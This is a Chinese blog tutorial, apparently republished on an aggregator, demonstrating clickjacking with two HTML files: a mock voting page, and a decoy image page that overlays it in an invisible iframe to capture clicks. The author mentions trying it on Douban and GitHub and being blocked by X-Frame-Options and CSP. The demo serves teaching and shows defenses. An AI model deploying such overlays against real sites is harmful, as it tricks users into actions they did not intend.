点击劫持小例

栏目: 编程工具 · 发布时间: 6年前

内容简介：一个关于点击劫持的小示例，首相看下理论知识首先，制作一个功能页面，作为被iframe嵌套的功能页面；这个页面的功能就是模仿投票功能，点击按钮时，即可完成投票功能，控制台会同步打印出操作信息。制作一个只有图片的页面，用于迷惑用户进行交互；

一个关于点击劫持的小示例，首相看下理论知识

项目思路

首先，制作一个功能页面，作为被iframe嵌套的功能页面；这个页面的功能就是模仿投票功能，点击按钮时，即可完成投票功能，控制台会同步打印出操作信息。

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
  <style>
    .vote{
      width: 183px;
      margin: 0 auto;
      margin-top: 220px
    }
  </style>
</head>
<body>
  <div class="vote">
    <input type="text" value="5号选手">
    <button>投票</button>
  </div>

  <script>
    var span = document.getElementsByTagName('button')[0]
    span.addEventListener('click', function(){
      console.log('哈哈，谢谢你偷偷帮我投票～')
    })
  </script>
</body>
</html>
复制代码

制作一个只有图片的页面，用于迷惑用户进行交互；

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>click jacking demo</title>
  <style>
    body {
      padding: 0;
      margin: 0
    }
    .png {
      height: 100%;
      width: 100%;
    }
    .iframe {
      width: 1440px;
      height: 900px;
      position: absolute;
      top: -0px;
      left: -0px;
      z-index: 3;
      -moz-opacity: 0;
      opacity: 0;
      filter: alpha(opacity=0);
    }
    .btn {
      display: inline-block;
      padding: 2px 3px;
      background: burlywood;
      color: #fff;
      position: absolute;
      top: 221px;
      left: 766px;
      z-index: 2;
      cursor: pointer;
      border-radius: 30%
    }
  </style>
</head>
<body>
  <img class='png' src="./image/clickme.jpeg" alt="">
  <iframe class="iframe" src="./iframe.html" scolling='no' allowTransparency="true"></iframe>
  <span class="btn">click</span>
</body>
</html>
复制代码

浏览器打开，会发现根据提示点击按钮，会在控制台中打印了相关的信息，就是说，即使我没有在功能页面进行投票操作，可是能投票。

在迷惑页面中把 iframe 的 opacity 属性值修改成 0.3 ，就能看到这个迷惑的原因了。

其他

本来想做个坏事的，想要试试用于豆瓣上，直接定位到关注按钮那，不过 iframe 豆瓣的页面时，控制台报错了，这个想要说明的是使用设置 X-frame-options 属性是真有效的。

也试过直接内嵌 github 的地址，也会报错，这个错是报跨域的错，不过具体的还不知道是怎么设置防御的。

an ancestor violates the following Content Security Policy directive: “frame-ancestors ...
复制代码

至此，已经把 点击劫持 的形式演示完毕

github源码

以上就是本文的全部内容，希望本文的内容对大家的学习或者工作能带来一定的帮助，也希望大家多多支持码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。

码农书籍

JavaScript & jQuery

David Sawyer McFarland / O Reilly / 2011-10-28 / USD 39.99

You don't need programming experience to add interactive and visual effects to your web pages with JavaScript. This Missing Manual shows you how the jQuery library makes JavaScript programming fun, ea......一起来看看《JavaScript & jQuery》这本书的介绍吧!

码农工具